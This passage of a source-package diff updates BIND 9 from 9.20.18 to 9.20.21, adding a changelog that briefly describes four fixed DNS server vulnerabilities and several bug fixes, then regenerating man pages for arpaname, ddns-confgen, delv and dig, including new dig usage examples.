00:00:00.000000000 +0000 +++ bind9-9.20.21/doc/changelog/changelog-9.20.21.rst 2026-03-13 22:01:10.793874406 +0000 @@ -0,0 +1,77 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +BIND 9.20.21 +------------ + +Security Fixes +~~~~~~~~~~~~~~ + +- [CVE-2026-1519] Fix unbounded NSEC3 iterations when validating + referrals to unsigned delegations. ``5af03a06066`` + + DNSSEC-signed zones may contain high iteration-count NSEC3 records, + which prove that certain delegations are insecure. Previously, a + validating resolver encountering such a delegation processed these + iterations up to the number given, which could be a maximum of 65,535. + This has been addressed by introducing a processing limit, set at 50. + Now, if such an NSEC3 record is encountered, the delegation will be + treated as insecure. + + ISC would like to thank Samy Medjahed/Ap4sh for bringing this + vulnerability to our attention. :gl:`#5708` + +- [CVE-2026-3104] Fix memory leaks in code preparing DNSSEC proofs of + non-existence. ``13215b9cbbf`` + + An attacker controlling a DNSSEC-signed zone could trigger a memory + leak in the logic preparing DNSSEC proofs of non-existence, by + creating more than :any:`max-records-per-type` RRSIGs for NSEC + records. These memory leaks have been fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#5742` + +- [CVE-2026-3119] Prevent a crash in code processing queries containing + a TKEY record. ``308baa89105`` + + The :iscman:`named` process could terminate unexpectedly when + processing a correctly signed query containing a TKEY record. This has + been fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#5748` + +- [CVE-2026-3591] Fix a stack use-after-return flaw in SIG(0) handling + code. ``aaaae0fd97e`` + + A stack use-after-return flaw in SIG(0) handling code could enable ACL + bypass and/or assertion failures in certain circumstances. This flaw + has been fixed. + + ISC would like to thank Mcsky23 for bringing this vulnerability to our + attention. :gl:`#5754` + +Bug Fixes +~~~~~~~~~ + +- Resolve "key defined in view is not found" ``819fe452745`` + + Commit `2956e4fc` hardened the `key` name check when used in + `primaries` to reject the configuration if the key was not defined, + rather than simply checking whether the key name was correctly formed. + + However, the key name check didn't include the view configuration, + causing keys not to be recognized if they were defined inside the view + and not at the global level. This regression is now fixed. + :gl:`#5761` :gl:`!11613` + + diff -Nru bind9-9.20.18/doc/man/arpaname.1in bind9-9.20.21/doc/man/arpaname.1in --- bind9-9.20.18/doc/man/arpaname.1in 2026-01-09 13:41:22.126972305 +0000 +++ bind9-9.20.21/doc/man/arpaname.1in 2026-03-13 22:17:47.004250587 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -40,9 +41,8 @@ .SH SEE ALSO .sp BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/conf.py bind9-9.20.21/doc/man/conf.py --- bind9-9.20.18/doc/man/conf.py 2026-01-09 13:39:28.264976993 +0000 +++ bind9-9.20.21/doc/man/conf.py 2026-03-13 22:01:10.814873735 +0000 @@ -31,11 +31,9 @@ # -- Project information ----------------------------------------------------- project = "BIND 9" -# pylint: disable=wrong-import-position import datetime year = datetime.datetime.now().year -# pylint: disable=redefined-builtin copyright = "%d, Internet Systems Consortium" % year author = "Internet Systems Consortium" @@ -65,7 +63,6 @@ # The master toctree document. master_doc = "index" -# pylint: disable=line-too-long man_pages = [ ( "arpaname", diff -Nru bind9-9.20.18/doc/man/ddns-confgen.8in bind9-9.20.21/doc/man/ddns-confgen.8in --- bind9-9.20.18/doc/man/ddns-confgen.8in 2026-01-09 13:41:22.130972411 +0000 +++ bind9-9.20.21/doc/man/ddns-confgen.8in 2026-03-13 22:17:47.009250665 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -37,19 +38,19 @@ .sp \fBddns\-confgen\fP is an utility that generates keys for use in TSIG signing. The resulting keys can be used, for example, to secure dynamic DNS updates -to a zone, or for the \fI\%rndc\fP command channel. +to a zone, or for the \fBrndc\fP \%<#\:std-iscman-rndc> command channel. .sp -The key name can specified using \fI\%\-k\fP parameter and defaults to \fBddns\-key\fP\&. +The key name can specified using \fB\-k\fP parameter and defaults to \fBddns\-key\fP\&. The generated key is accompanied by configuration text and instructions that -can be used with \fI\%nsupdate\fP and \fI\%named\fP when setting up dynamic DNS, +can be used with \fBnsupdate\fP \%<#\:std-iscman-nsupdate> and \fBnamed\fP \%<#\:std-iscman-named> when setting up dynamic DNS, including an example \fBupdate\-policy\fP statement. -(This usage is similar to the \fI\%rndc\-confgen\fP command for setting up +(This usage is similar to the \fBrndc\-confgen\fP \%<#\:std-iscman-rndc-confgen> command for setting up command\-channel security.) .sp -Note that \fI\%named\fP itself can configure a local DDNS key for use with -\fI\%nsupdate \-l\fP; it does this when a zone is configured with +Note that \fBnamed\fP \%<#\:std-iscman-named> itself can configure a local DDNS key for use with +\fBnsupdate \-l\fP \%<#\:cmdoption-nsupdate-l>; it does this when a zone is configured with \fBupdate\-policy local;\fP\&. \fBddns\-confgen\fP is only needed when a more -elaborate configuration is required: for instance, if \fI\%nsupdate\fP is to +elaborate configuration is required: for instance, if \fBnsupdate\fP \%<#\:std-iscman-nsupdate> is to be used from a remote system. .SH OPTIONS .INDENT 0.0 @@ -69,7 +70,7 @@ .TP .B \-k keyname This option specifies the key name of the DDNS authentication key. The -default is \fBddns\-key\fP when neither the \fI\%\-s\fP nor \fI\%\-z\fP option is +default is \fBddns\-key\fP when neither the \fB\-s\fP nor \fB\-z\fP option is specified; otherwise, the default is \fBddns\-key\fP as a separate label followed by the argument of the option, e.g., \fBddns\-key.example.com.\fP The key name must have the format of a valid domain name, consisting of @@ -80,33 +81,32 @@ .B \-q This option enables quiet mode, which prints only the key, with no explanatory text or usage examples. This is essentially identical to -\fI\%tsig\-keygen\fP\&. +\fBtsig\-keygen\fP \%<#\:std-iscman-tsig-keygen>\&. .UNINDENT .INDENT 0.0 .TP .B \-s name This option generates a configuration example to allow dynamic updates -of a single hostname. The example \fI\%named.conf\fP text shows how to set +of a single hostname. The example \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> text shows how to set an update policy for the specified name using the \(dqname\(dq nametype. The default key name is \fBddns\-key.name\fP\&. Note that the \(dqself\(dq nametype cannot be used, since the name to be updated may differ from the key -name. This option cannot be used with the \fI\%\-z\fP option. +name. This option cannot be used with the \fB\-z\fP option. .UNINDENT .INDENT 0.0 .TP .B \-z zone This option generates a configuration example to allow -dynamic updates of a zone. The example \fI\%named.conf\fP text shows how +dynamic updates of a zone. The example \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> text shows how to set an update policy for the specified zone using the \(dqzonesub\(dq nametype, allowing updates to all subdomain names within that zone. -This option cannot be used with the \fI\%\-s\fP option. +This option cannot be used with the \fB\-s\fP option. .UNINDENT .SH SEE ALSO .sp -\fI\%nsupdate(1)\fP, \fI\%named.conf(5)\fP, \fI\%named(8)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBnsupdate(1)\fP \%<#\:std-iscman-nsupdate>, \fBnamed.conf(5)\fP \%<#\:std-iscman-named\:.conf>, \fBnamed(8)\fP \%<#\:std-iscman-named>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/delv.1in bind9-9.20.21/doc/man/delv.1in --- bind9-9.20.18/doc/man/delv.1in 2026-01-09 13:41:22.144972783 +0000 +++ bind9-9.20.21/doc/man/delv.1in 2026-03-13 22:17:47.023250883 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -42,7 +43,7 @@ .SH DESCRIPTION .sp \fBdelv\fP is a tool for sending DNS queries and validating the results, -using the same internal resolver and validator logic as \fI\%named\fP\&. +using the same internal resolver and validator logic as \fBnamed\fP \%<#\:std-iscman-named>\&. .sp \fBdelv\fP sends to a specified name server all queries needed to fetch and validate the requested data; this includes the original @@ -92,7 +93,7 @@ .sp If no \fBserver\fP argument is provided, \fBdelv\fP consults \fB/etc/resolv.conf\fP; if an address is found there, it queries the -name server at that address. If either of the \fI\%\-4\fP or \fI\%\-6\fP +name server at that address. If either of the \fB\-4\fP or \fB\-6\fP options is in use, then only addresses for the corresponding transport are tried. If no usable addresses are found, \fBdelv\fP sends queries to the localhost addresses (127.0.0.1 for IPv4, ::1 @@ -119,13 +120,13 @@ .sp By default, keys that do not match the root zone name (\fI\&.\fP) are ignored. If an alternate key name is desired, it can be -specified using the \fI\%+root\fP option. +specified using the \fB+root\fP option. .sp Note: When reading trust anchors, \fBdelv\fP treats \fBtrust\-anchors\fP, \fBinitial\-key\fP, and \fBstatic\-key\fP identically. That is, for a managed key, it is the \fIinitial\fP key that is trusted; -\X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link' key management is not supported. \fBdelv\fP does not -consult the managed\-keys database maintained by \fI\%named\fP\&. This +\fBRFC 5011\fP \% key management is not supported. \fBdelv\fP does not +consult the managed\-keys database maintained by \fBnamed\fP \%<#\:std-iscman-named>\&. This means that if the default key built in to \fBdelv\fP is revoked, \fBdelv\fP must be updated to a newer version in order to continue validating. @@ -150,7 +151,7 @@ This option sets the systemwide debug level to \fBlevel\fP\&. The allowed range is from 0 to 99. The default is 0 (no debugging). Debugging traces from \fBdelv\fP become more verbose as the debug level increases. See the -\fI\%+mtrace\fP, \fI\%+rtrace\fP, and \fI\%+vtrace\fP options below for +\fB+mtrace\fP, \fB+rtrace\fP, and \fB+vtrace\fP options below for additional debugging details. .UNINDENT .INDENT 0.0 @@ -166,7 +167,7 @@ server being queried is performing DNSSEC validation, then it does not return invalid data; this can cause \fBdelv\fP to time out. When it is necessary to examine invalid data to debug a DNSSEC problem, use -\fI\%dig +cd\fP\&.) +\fBdig +cd\fP \%<#\:cmdoption-dig-arg-cd>\&.) .UNINDENT .INDENT 0.0 .TP @@ -185,7 +186,7 @@ .TP .B \-q name This option sets the query name to \fBname\fP\&. While the query name can be -specified without using the \fI\%\-q\fP option, it is sometimes necessary to +specified without using the \fB\-q\fP option, it is sometimes necessary to disambiguate names from types or classes (for example, when looking up the name \(dqns\(dq, which could be misinterpreted as the type NS, or \(dqch\(dq, which could be misinterpreted as class CH). @@ -195,11 +196,11 @@ .B \-t type This option sets the query type to \fBtype\fP, which can be any valid query type supported in BIND 9 except for zone transfer types AXFR and IXFR. As -with \fI\%\-q\fP, this is useful to distinguish query\-name types or classes +with \fB\-q\fP, this is useful to distinguish query\-name types or classes when they are ambiguous. It is sometimes necessary to disambiguate names from types. .sp -The default query type is \(dqA\(dq, unless the \fI\%\-x\fP option is supplied +The default query type is \(dqA\(dq, unless the \fB\-x\fP option is supplied to indicate a reverse lookup, in which case it is \(dqPTR\(dq. .UNINDENT .INDENT 0.0 @@ -212,7 +213,7 @@ .B \-x addr This option performs a reverse lookup, mapping an address to a name. \fBaddr\fP is an IPv4 address in dotted\-decimal notation, or a colon\-delimited -IPv6 address. When \fI\%\-x\fP is used, there is no need to provide the +IPv6 address. When \fB\-x\fP is used, there is no need to provide the \fBname\fP or \fBtype\fP arguments; \fBdelv\fP automatically performs a lookup for a name like \fB11.12.13.10.in\-addr.arpa\fP and sets the query type to PTR. IPv6 addresses are looked up using nibble format @@ -305,7 +306,7 @@ .sp This is equivalent to setting the debug level to 1 in the \(dqresolver\(dq logging category. Setting the systemwide debug level to 1 using the -\fI\%\-d\fP option produces the same output, but affects other +\fB\-d\fP option produces the same output, but affects other logging categories as well. .UNINDENT .INDENT 0.0 @@ -317,7 +318,7 @@ .sp This is equivalent to setting the debug level to 10 for the \(dqpackets\(dq module of the \(dqresolver\(dq logging category. Setting the systemwide -debug level to 10 using the \fI\%\-d\fP option produces the same +debug level to 10 using the \fB\-d\fP option produces the same output, but affects other logging categories as well. .UNINDENT .INDENT 0.0 @@ -330,7 +331,7 @@ .sp This is equivalent to setting the debug level to 11 for the \(dqpackets\(dq module of the \(dqresolver\(dq logging category. Setting the systemwide -debug level to 11 using the \fI\%\-d\fP option produces the same +debug level to 11 using the \fB\-d\fP option produces the same output, but affects other logging categories as well. .UNINDENT .INDENT 0.0 @@ -342,7 +343,7 @@ .sp This is equivalent to setting the debug level to 3 for the \(dqvalidator\(dq module of the \(dqdnssec\(dq logging category. Setting the -systemwide debug level to 3 using the \fI\%\-d\fP option produces the +systemwide debug level to 3 using the \fB\-d\fP option produces the same output, but affects other logging categories as well. .UNINDENT .INDENT 0.0 @@ -412,8 +413,8 @@ .INDENT 0.0 .TP .B +all, +noall -This option sets or clears the display options \fI\%+comments\fP, -\fI\%+rrcomments\fP, and \fI\%+trust\fP as a group. +This option sets or clears the display options \fB+comments\fP, +\fB+rrcomments\fP, and \fB+trust\fP as a group. .UNINDENT .INDENT 0.0 .TP @@ -427,11 +428,11 @@ .TP .B +dnssec, +nodnssec This option indicates whether to display RRSIG records in the \fBdelv\fP output. -The default is to do so. Note that (unlike in \fI\%dig\fP) this does +The default is to do so. Note that (unlike in \fBdig\fP \%<#\:std-iscman-dig>) this does \fInot\fP control whether to request DNSSEC records or to validate them. DNSSEC records are always requested, and validation -always occurs unless suppressed by the use of \fI\%\-i\fP or -\fI\%+noroot\fP\&. +always occurs unless suppressed by the use of \fB\-i\fP or +\fB+noroot\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -439,7 +440,7 @@ This option indicates whether to perform conventional DNSSEC validation, and if so, specifies the name of a trust anchor. The default is to validate using a trust anchor of \(dq.\(dq (the root zone), for which there is a built\-in key. If -specifying a different trust anchor, then \fI\%\-a\fP must be used to specify a +specifying a different trust anchor, then \fB\-a\fP must be used to specify a file containing the key. .UNINDENT .INDENT 0.0 @@ -451,7 +452,7 @@ .INDENT 0.0 .TP .B +unknownformat, +nounknownformat -This option prints all RDATA in unknown RR\-type presentation format (\X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link'). +This option prints all RDATA in unknown RR\-type presentation format (\fBRFC 3597\fP \%). The default is to print RDATA for known types in the type\(aqs presentation format. .UNINDENT @@ -465,10 +466,9 @@ \fB/etc/resolv.conf\fP .SH SEE ALSO .sp -\fI\%dig(1)\fP, \fI\%named(8)\fP, \X'tty: link https://datatracker.ietf.org/doc/html/rfc4034.html'\fI\%RFC 4034\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc4035.html'\fI\%RFC 4035\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc4431.html'\fI\%RFC 4431\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc5074.html'\fI\%RFC 5074\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc5155.html'\fI\%RFC 5155\fP\X'tty: link'\&. -.SH AUTHOR +\fBdig(1)\fP \%<#\:std-iscman-dig>, \fBnamed(8)\fP \%<#\:std-iscman-named>, \fBRFC 4034\fP \%, \fBRFC 4035\fP \%, \fBRFC 4431\fP \%, \fBRFC 5074\fP \%, \fBRFC 5155\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dig.1in bind9-9.20.21/doc/man/dig.1in --- bind9-9.20.18/doc/man/dig.1in 2026-01-09 13:41:22.171973501 +0000 +++ bind9-9.20.21/doc/man/dig.1in 2026-03-13 22:17:47.050251302 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -49,7 +50,7 @@ Although \fBdig\fP is normally used with command\-line arguments, it also has a batch mode of operation for reading lookup requests from a file. A brief summary of its command\-line arguments and options is printed when -the \fI\%\-h\fP option is given. The BIND 9 +the \fB\-h\fP option is given. The BIND 9 implementation of \fBdig\fP allows multiple lookups to be issued from the command line. .sp @@ -62,12 +63,12 @@ .sp It is possible to set per\-user defaults for \fBdig\fP via \fB${HOME}/.digrc\fP\&. This file is read and any options in it are applied -before the command\-line arguments. The \fI\%\-r\fP option disables this +before the command\-line arguments. The \fB\-r\fP option disables this feature, for scripts that need predictable behavior. .sp The IN and CH class names overlap with the IN and CH top\-level domain -names. Either use the \fI\%\-t\fP and \fI\%\-c\fP options to specify the type and -class, use the \fI\%\-q\fP to specify the domain name, or use \(dqIN.\(dq and +names. Either use the \fB\-t\fP and \fB\-c\fP options to specify the type and +class, use the \fB\-q\fP to specify the domain name, or use \(dqIN.\(dq and \(dqCH.\(dq when looking up these top\-level domains. .SH SIMPLE USAGE .sp @@ -93,7 +94,7 @@ .sp If no \fBserver\fP argument is provided, \fBdig\fP consults \fB/etc/resolv.conf\fP; if an address is found there, it queries the -name server at that address. If either of the \fI\%\-4\fP or \fI\%\-6\fP +name server at that address. If either of the \fB\-4\fP or \fB\-6\fP options are in use, then only addresses for the corresponding transport are tried. If no usable addresses are found, \fBdig\fP sends the query to the local host. The reply from the name server @@ -153,11 +154,11 @@ .B \-k keyfile This option tells \fBdig\fP to sign queries using TSIG or SIG(0) using a key read from the given file. Key files can be -generated using \fI\%tsig\-keygen\fP\&. When using TSIG authentication +generated using \fBtsig\-keygen\fP \%<#\:std-iscman-tsig-keygen>\&. When using TSIG authentication with \fBdig\fP, the name server that is queried needs to know the key and algorithm that is being used. In BIND, this is done by providing appropriate \fBkey\fP and \fBserver\fP statements -in \fI\%named.conf\fP for TSIG and by looking up the KEY record +in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> for TSIG and by looking up the KEY record in zone data for SIG(0). .UNINDENT .INDENT 0.0 @@ -191,7 +192,7 @@ This option indicates the resource record type to query, which can be any valid query type. If it is a resource record type supported in BIND 9, it can be given by the type mnemonic (such as \fBNS\fP or \fBAAAA\fP). The default query type is -\fBA\fP, unless the \fI\%\-x\fP option is supplied to indicate a reverse +\fBA\fP, unless the \fB\-x\fP option is supplied to indicate a reverse lookup. A zone transfer can be requested by specifying a type of AXFR. When an incremental zone transfer (IXFR) is required, set the \fBtype\fP to \fBixfr=N\fP\&. The incremental zone transfer contains @@ -200,7 +201,7 @@ .sp All resource record types can be expressed as \fBTYPEnn\fP, where \fBnn\fP is the number of the type. If the resource record type is not supported -in BIND 9, the result is displayed as described in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link'\&. +in BIND 9, the result is displayed as described in \fBRFC 3597\fP \%\&. .UNINDENT .INDENT 0.0 .TP @@ -217,7 +218,7 @@ .B \-x addr This option sets simplified reverse lookups, for mapping addresses to names. The \fBaddr\fP is an IPv4 address in dotted\-decimal notation, or a -colon\-delimited IPv6 address. When the \fI\%\-x\fP option is used, there is no +colon\-delimited IPv6 address. When the \fB\-x\fP option is used, there is no need to provide the \fBname\fP, \fBclass\fP, and \fBtype\fP arguments. \fBdig\fP automatically performs a lookup for a name like \fB94.2.0.192.in\-addr.arpa\fP and sets the query type and class to PTR @@ -236,11 +237,11 @@ \fBhmac\-sha256\fP\&. .UNINDENT .sp -\fBNOTE:\fP +\fBNote:\fP .INDENT 0.0 .INDENT 3.5 -Only the \fI\%\-k\fP option should be used, rather than the \fI\%\-y\fP option, -because with \fI\%\-y\fP the shared secret is supplied as a command\-line +Only the \fB\-k\fP option should be used, rather than the \fB\-y\fP option, +because with \fB\-y\fP the shared secret is supplied as a command\-line argument in clear text. This may be visible in the output from \fBps1\fP or in a history file maintained by the user\(aqs shell. .UNINDENT @@ -258,12 +259,12 @@ the string \fBno\fP to negate the meaning of that keyword. Other keywords assign values to options, like the timeout interval. They have the form \fB+keyword=value\fP\&. Keywords may be abbreviated, provided the -abbreviation is unambiguous; for example, \fI\%+cd\fP is equivalent to -\fI\%+cdflag\fP\&. The query options are: +abbreviation is unambiguous; for example, \fB+cd\fP is equivalent to +\fB+cdflag\fP\&. Query options are order sensitive. The query options are: .INDENT 0.0 .TP .B +aaflag, +noaaflag -This option is a synonym for \fI\%+aaonly\fP, \fI\%+noaaonly\fP\&. +This option is a synonym for \fB+aaonly\fP, \fB+noaaonly\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -359,7 +360,7 @@ .sp Other types of comments in the output are not affected by this option, but can be controlled using other command\-line switches. These include -\fI\%+cmd\fP, \fI\%+question\fP, \fI\%+stats\fP, and \fI\%+rrcomments\fP\&. +\fB+cmd\fP, \fB+question\fP, \fB+stats\fP, and \fB+rrcomments\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -368,7 +369,7 @@ from a previous response allows the server to identify a previous client. The default is \fB+cookie\fP\&. .sp -\fB+cookie\fP is also set when \fI\%+trace\fP is set to better emulate the +\fB+cookie\fP is also set when \fB+trace\fP is set to better emulate the default queries from a nameserver. .UNINDENT .INDENT 0.0 @@ -385,7 +386,7 @@ .TP .B +defname, +nodefname This option, which is deprecated, is treated as a synonym for -\fI\%+search\fP, \fI\%+nosearch\fP\&. +\fB+search\fP, \fB+nosearch\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -403,7 +404,7 @@ .B +domain=somename This option sets the search list to contain the single domain \fBsomename\fP, as if specified in a \fBdomain\fP directive in \fB/etc/resolv.conf\fP, and -enables search list processing as if the \fI\%+search\fP option were +enables search list processing as if the \fB+search\fP option were given. .UNINDENT .INDENT 0.0 @@ -443,7 +444,7 @@ .INDENT 0.0 .TP .B +fail, +nofail -This option indicates that \fI\%named\fP should try [or not try] the next server if a SERVFAIL is received. The default is +This option indicates that \fBnamed\fP \%<#\:std-iscman-named> should try [or not try] the next server if a SERVFAIL is received. The default is to not try the next server, which is the reverse of normal stub resolver behavior. .UNINDENT @@ -477,36 +478,36 @@ .INDENT 0.0 .TP .B +https\-get[=value], +nohttps\-get -Similar to \fI\%+https\fP, except that the HTTP GET request mode is used +Similar to \fB+https\fP, except that the HTTP GET request mode is used when sending the query. .UNINDENT .INDENT 0.0 .TP .B +https\-post[=value], +nohttps\-post -Same as \fI\%+https\fP\&. +Same as \fB+https\fP\&. .UNINDENT .INDENT 0.0 .TP .B +http\-plain[=value], +nohttp\-plain -Similar to \fI\%+https\fP, except that HTTP queries will be sent over a +Similar to \fB+https\fP, except that HTTP queries will be sent over a non\-encrypted channel. When this option is in use, the port number defaults to 80 and the HTTP request mode is POST. .UNINDENT .INDENT 0.0 .TP .B +http\-plain\-get[=value], +nohttp\-plain\-get -Similar to \fI\%+http\-plain\fP, except that the HTTP request mode is GET. +Similar to \fB+http\-plain\fP, except that the HTTP request mode is GET. .UNINDENT .INDENT 0.0 .TP .B +http\-plain\-post[=value], +nohttp\-plain\-post -Same as \fI\%+http\-plain\fP\&. +Same as \fB+http\-plain\fP\&. .UNINDENT .INDENT 0.0 .TP .B +identify, +noidentify This option shows [or does not show] the IP address and port number that -supplied the answer, when the \fI\%+short\fP option is enabled. If short +supplied the answer, when the \fB+short\fP option is enabled. If short form answers are requested, the default is not to show the source address and port number of the server that provided the answer. .UNINDENT @@ -554,7 +555,7 @@ statement is present. Names with fewer dots are interpreted as relative names, and are searched for in the domains listed in the \fBsearch\fP or \fBdomain\fP directive in \fB/etc/resolv.conf\fP if -\fI\%+search\fP is set. +\fB+search\fP is set. .UNINDENT .INDENT 0.0 .TP @@ -659,7 +660,7 @@ .INDENT 0.0 .TP .B +rdflag, +nordflag -This option is a synonym for \fI\%+recurse\fP, \fI\%+norecurse\fP\&. +This option is a synonym for \fB+recurse\fP, \fB+norecurse\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -667,13 +668,13 @@ This option toggles the setting of the RD (recursion desired) bit in the query. This bit is set by default, which means \fBdig\fP normally sends recursive queries. Recursion is automatically disabled when the -\fI\%+nssearch\fP or \fI\%+trace\fP query option is used. +\fB+nssearch\fP or \fB+trace\fP query option is used. .UNINDENT .INDENT 0.0 .TP .B +retry=T This option sets the number of times to retry UDP and TCP queries to server to \fBT\fP -instead of the default, 2. Unlike \fI\%+tries\fP, this does not include +instead of the default, 2. Unlike \fB+tries\fP, this does not include the initial query. .UNINDENT .INDENT 0.0 @@ -691,7 +692,7 @@ default. .sp \fBndots\fP from \fBresolv.conf\fP (default 1), which may be overridden by -\fI\%+ndots\fP, determines whether the name is treated as relative +\fB+ndots\fP, determines whether the name is treated as relative and hence whether a search is eventually performed. .UNINDENT .INDENT 0.0 @@ -797,7 +798,7 @@ .B +tls\-hostname=hostname, +notls\-hostname This option makes \fBdig\fP use the provided hostname during remote server TLS certificate verification. Otherwise, the DNS server name -is used. This option has no effect if \fI\%+tls\-ca\fP is not specified. +is used. This option has no effect if \fB+tls\-ca\fP is not specified. .UNINDENT .INDENT 0.0 .TP @@ -812,11 +813,11 @@ If \fB@server\fP is also specified, it affects only the initial query for the root zone name servers. .sp -\fI\%+dnssec\fP is set when \fI\%+trace\fP is set, to better +\fB+dnssec\fP is set when \fB+trace\fP is set, to better emulate the default queries from a name server. .sp Note that the \fBdelv +ns\fP option can also be used for tracing the -resolution of a name from the root (see \fI\%delv\fP). +resolution of a name from the root (see \fBdelv\fP \%<#\:std-iscman-delv>). .UNINDENT .INDENT 0.0 .TP @@ -835,12 +836,12 @@ .B +ttlunits, +nottlunits This option displays [or does not display] the TTL in friendly human\-readable time units of \fBs\fP, \fBm\fP, \fBh\fP, \fBd\fP, and \fBw\fP, representing seconds, minutes, -hours, days, and weeks. This implies \fI\%+ttlid\fP\&. +hours, days, and weeks. This implies \fB+ttlid\fP\&. .UNINDENT .INDENT 0.0 .TP .B +unknownformat, +nounknownformat -This option prints all RDATA in unknown RR type presentation format (\X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link'). +This option prints all RDATA in unknown RR type presentation format (\fBRFC 3597\fP \%). The default is to print RDATA for known types in the type\(aqs presentation format. .UNINDENT @@ -848,13 +849,13 @@ .TP .B +vc, +novc This option uses [or does not use] TCP when querying name servers. This alternate -syntax to \fI\%+tcp\fP is provided for backwards compatibility. The +syntax to \fB+tcp\fP is provided for backwards compatibility. The \fBvc\fP stands for \(dqvirtual circuit.\(dq .UNINDENT .INDENT 0.0 .TP .B +yaml, +noyaml -When enabled, this option prints the responses (and, if \fI\%+qr\fP is in use, also the +When enabled, this option prints the responses (and, if \fB+qr\fP is in use, also the outgoing queries) in a detailed YAML format. .UNINDENT .INDENT 0.0 @@ -866,7 +867,7 @@ .SH MULTIPLE QUERIES .sp The BIND 9 implementation of \fBdig\fP supports specifying multiple -queries on the command line (in addition to supporting the \fI\%\-f\fP batch +queries on the command line (in addition to supporting the \fB\-f\fP batch file option). Each of those queries can be supplied with its own set of flags, options, and query options. .sp @@ -879,8 +880,8 @@ A global set of query options, which should be applied to all queries, can also be supplied. These global query options must precede the first tuple of name, class, type, options, flags, and query options supplied -on the command line. Any global query options (except \fI\%+cmd\fP and -\fI\%+short\fP options) can be overridden by a query\-specific set of +on the command line. Any global query options (except \fB+cmd\fP and +\fB+short\fP options) can be overridden by a query\-specific set of query options. For example: .INDENT 0.0 .INDENT 3.5 @@ -894,8 +895,8 @@ shows how \fBdig\fP can be used from the command line to make three lookups: an ANY query for \fBwww.isc.org\fP, a reverse lookup of 127.0.0.1, and a query for the NS records of \fBisc.org\fP\&. A global query option of -\fI\%+qr\fP is applied, so that \fBdig\fP shows the initial query it made for -each lookup. The final query has a local query option of \fI\%+noqr\fP which +\fB+qr\fP is applied, so that \fBdig\fP shows the initial query it made for +each lookup. The final query has a local query option of \fB+noqr\fP which means that \fBdig\fP does not print the initial query when it looks up the NS records for \fBisc.org\fP\&. .SH RETURN CODES @@ -923,15 +924,65 @@ \fB/etc/resolv.conf\fP .sp \fB${HOME}/.digrc\fP +.SH EXAMPLES +.sp +Only display the IP address(es) for example.com: +.INDENT 0.0 +.INDENT 3.5 +.sp +.EX +dig +short example.com +.EE +.UNINDENT +.UNINDENT +.sp +Query the nameserver f.gtld\-servers.net for example.com: +.INDENT 0.0 +.INDENT 3.5 +.sp +.EX +dig @f.gtld\-servers.net example.com +.EE +.UNINDENT +.UNINDENT +.sp +Look up the TXT record for example.com: +.INDENT 0.0 +.INDENT 3.5 +.sp +.EX +dig txt example.com +.EE +.UNINDENT +.UNINDENT +.sp +Look up the hostname for an IP with reverse DNS: +.INDENT 0.0 +.INDENT 3.5 +.sp +.EX +dig \-x 192.0.2.1 +.EE +.UNINDENT +.UNINDENT +.sp +Display a much shorter output with just the name, record type, TTL, and value for each answer: +.INDENT 0.0 +.INDENT 3.5 +.sp +.EX +dig +noall +answer example.com +.EE +.UNINDENT +.UNINDENT .SH SEE ALSO .sp -\fI\%delv(1)\fP, \fI\%host(1)\fP, \fI\%named(8)\fP, \fI\%dnssec\-keygen(8)\fP, \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link'\&. +\fBdelv(1)\fP \%<#\:std-iscman-delv>, \fBhost(1)\fP \%<#\:std-iscman-host>, 